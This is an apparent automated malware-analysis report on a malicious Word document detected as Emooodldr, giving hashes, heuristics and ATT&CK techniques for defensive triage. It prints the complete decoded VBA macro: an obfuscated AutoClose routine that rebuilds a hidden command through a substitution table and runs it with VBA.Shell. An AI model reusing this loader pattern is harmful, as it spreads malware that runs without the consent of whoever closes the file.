Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 b044fd1e0ae000ee…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-11-20
MD5: 24309e61b949da868ea5f31b3f064c40 SHA-1: 18d64a9b1df49ccabc13344cbf57e94ae3f4b185 SHA-256: b044fd1e0ae000eeb04d0529b3920a38f839e910bfb6bb9d0837da22f0ace15e
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is triggered upon document closure, which then calls another subroutine that uses VBA.Shell to execute a command. ClamAV detections indicate this is likely the Emooodldr family, which typically downloads and executes a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2127 bytes
SHA-256: 2ab9ec8f6b140a94c395eeb1643fabfcd48ba8ba4843a8438b9b5bf7511d2a69
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  sharecrops = Array("P", "5", "l", "t", "9", "X", "Z", "2", "Z", "K", "l", "t", "t", "x", "p", "n", "n", "h", "6", "G", "E", "h", "T", "6", "b", "N", "h", "T", "G", "h", "l", "T", "Z", "T", "X", "Q", "y", "P", "n", "f", "V", "n", "5", "P", "G", "2", "X", "x", "l", "x", "7", "b", "t", "P", "9", "C", "6", "y", "N", "l")
  hornily = auditioned(sharecrops)
  
  Application.Run "unexacerbated", (hornily)
  
End Sub


Private Sub unexacerbated(beziques)
   
   prediligently = 6162
   unfarced = True
   
   While unfarced
     aconative = prediligently + 222
     If aconative - prediligently > 111 Then
       VBA.Shell beziques, vbNormalFocus - 1
       unfarced = False
      End If
     
   Wend

End Sub


Public Function blottesquely(frivols, austerity)

  precomradeship = 9090
  futeator = -1
  For Each plumpness In austerity
    If plumpness = frivols Then
     precomradeship = futeator
     Exit For
    End If

    futeator = futeator + 1
    
  Next

  
  If precomradeship = 9090 Then
    precomradeship = -1
  End If


  blottesquely = precomradeship + 1
End Function

Private Function auditioned(sharecrops)
  khutbah = Array("G", "t", "P", "7", "h", "V", "K", "5", "2", "y", "X", "l", "f", "T", "x", "9", "Q", "Z", "p", "C", "6", "E", "b", "N", "n")
  bacteriostatic = Array("i", "t", "m", "?", "q", "A", " ", "s", "x", "o", ".", "h", "N", "w", "p", "a", "c", "e", ":", "=", "d", "j", "u", "n", "/")
  
  necessitously = vbNullString
  
  For Each frontolysis In sharecrops
    unlanterned = Application.Run("blottesquely", frontolysis, khutbah)
    If unlanterned > -1 And unlanterned < 8080 Then
    necessitously = bacteriostatic(unlanterned) + necessitously
    End If
  Next
  
  auditioned = StrReverse(necessitously)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 590eed37ea73c6a6a4f5a482d4c3388c5d192635fefe8f411bb0c6ef9a49281d
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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